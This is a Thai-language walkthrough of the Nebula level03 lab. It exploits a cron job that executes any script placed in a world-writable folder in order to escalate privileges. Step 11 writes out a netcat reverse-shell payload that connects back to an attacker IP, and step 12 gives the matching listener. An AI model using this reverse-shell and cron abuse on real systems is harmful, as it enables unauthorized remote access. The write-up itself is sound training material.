How to escalate the privileges through contrab – Nebula 03

บทนำ (Overview)

บทความนี้กล่าวถึงปัญหาของการเขียนตั้งเวลาแบบอัตโนมัติหรือที่เรียกว่าการใช้งาน “contrab” โดยช่องโหว่กล่าวถึงการใช้การะเขียนโปรแกรมเพื่อเรียกเรียกตรวจสอบไฟล์โฟลเดอร์หนึ่งที่มีการตั้ง “permission” อย่างไม่เหมาะสม คืออนุญาตให้ผู้ที่ไม่ใช้เจ้าของโฟลเดอร์ และ “user” อื่น ๆ ที่อยู่ในกลุ่มเดียวกันสามารถเขียนไฟล์ได้ ดังนั้นเมื่อโปรแกรมดังกล่าวเข้ามา “Execute” ไฟล์ ที่เราซึ่งไม่ใช้เจ้าของโฟลเดอร์นำไปวางไว้ก็จะทำการ “Execute” ไฟล์ดังกล่าวโดยเป็นสิทธิของ “user” ดังกล่าวทันที

ขั้นตอน (Steps)

  1. ดาวน์โหลด “VM” ได้จาก https://exploit-exercises.com/download/
  2. “Login” โดยใช้ “User” คือ “level03” และ “Password” คือ “level03”
  3. โดยวัตถุประสงค์เราจะยกระดับสิทธิจาก “level03” เป็น “flag03”
  4. ทดลองเข้าโฟลเดอร์ “flag03” จะพบ “script” ที่มี “permission” ดังนี้
    level03@nebula:/home$ cd flag03
    level03@nebula:/home/flag03$ ls -l
    total 1
    drwxrwxrwx 2 flag03 flag03  3 2012-08-18 05:24 writable.d
    -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh
    
  5. ตรวจสอบโฟลเดอร์ไม่พบไฟล์ใด บรรจุอยู่
    level03@nebula:/home/flag03$ cd writable.d/
    level03@nebula:/home/flag03/writable.d$ ls -l
    total 0
    
  6. ลองตรวจสอบไฟล์ “source-code” ไฟล์ “script” โดยใช้คำสั่งดังนี้
    level03@nebula:/home/flag03$ cat writable.sh 
    #!/bin/sh
    
    for i in /home/flag03/writable.d/* ; do
    	(ulimit -t 5; bash -x "$i")
    	rm -f "$i"
    done
    
  7. ตัวโปรแกรมจะอ่านชื่อไฟล์ในโฟลเดอร์ดังกล่าวเก็บเอาไว้ที่ตัวแปร “i” แต่ ณ ตอนนี้ยังไม่มีไฟล์ใดบรรจุอยู่ในโฟลเดอร์
    for i in /home/flag03/writable.d/* ; do
    
  8. คำสั่งต่อมา คือการจำกัดเวลาการประมวลผลโดยกำหนด -t = 5 หมายถึง โปรแกรมสามารถทำงานได้นานสุดแค่ 5 วินาที จากคำสั่งนี้ยังไม่พบปัญหาใด ๆ
    ulimit -t 5
    
  9. คำสั่งถัดไป คือ “bash” ซึ่งอ่านชื่อไฟล์ที่ถูกจัดเก็บไว้ในตัวแปร i ออกมาประมวลผล โดย -x สามารถตรวจสอบได้ว่าไฟล์ดังกล่าวมีอยู่จริงหรือไม่รวมทั้งสั่งให้ไฟล์ทำงานด้วย (execution)
    bash -x "$i"
    
  10. จาก “permission” เราจะพบว่า “account” ใด ที่เข้าถึงระบบไฟล์สามารถทำการอ่าน เขียน หรือ “run” โปรแกรมในโฟลเดอร์ได้เช่นกัน (rwx) ของสามชุดสุดท้าย drwxrwxrwx
    drwxrwxrwx 2 flag03 flag03  3 2012-08-18 05:24 writable.d
    
  11. จากสิทธิดังกล่าวเราสามารถสร้าง “script” ให้ “run” ได้จากการเรียกใช้งาน “script” ของ “writable.sh” จากตัวอย่างสร้าง “reverse shell” ได้ตัวอย่างดังนี้
    echo "nc.traditional -nv 192.168.1.56 443 -e /bin/bash" > test.sh
    
  12. ที่เครื่องของเราเปิด port ทิ้งไว้โดยใช้คำสั่ง
    nc -nlvp 443
    
  13. เมื่อผ่านไปสักนาทีจะสามารถเชื่อมต่อได้ดังนี้ 
  14. ที่นี้การยกจะยกระดับสิทธิได้นั้นคนที่เรียกใช้งานโปรแกรม “test.sh” จะต้องเป็น “flag03” ถ้าเราเรียกเองก็จะเป็น สิทธิของ “level03” ลองตรวจสอบดู “crontab” ดังนี้
    crontab -l
    
    # m h  dom mon dow   command
    
    */3 * * * * /home/flag03/writable.sh
    
    
  15. * ค่า รายละเอียด
    m(minute) 0-59 นาที จะสั่งให้คำสั่งที่กำหนดทำงานทันทีเมื่อถึง
    h(hour) 0-23 ชั่วโมง จะสั่งให้คำสั่งที่กำหนดทำงานทันทีเมื่อถึง
    dom(day of month) 1-31 วัน จะสั่งให้คำสั่งที่กำหนดทำงานทันทีเมื่อถึง
    mon(month) 1-12 เดือน จะสั่งให้คำสั่งที่กำหนดทำงานทันทีเมื่อถึง
    dow(day of week) 0-6 ระบุวัน มีค่าดังนี้(อาทิตย์ คือ 0 จันทร์ คือ 1)
    command /home/flag03/writable.sh คำสั่งหรือโปรแกรม
  16. จากค่าที่เราพบว่าประมาณ 3 นาทีจะทำการ “run” ไฟล์ “writable.sh” ซึ่งเมื่อพบไฟล์ “reverse shell” ที่เราสร้างไว้จะติดต่อกลับมายัง “port” ที่เราตั้งเอาไว้นั้นเอง

 

ใส่ความเห็น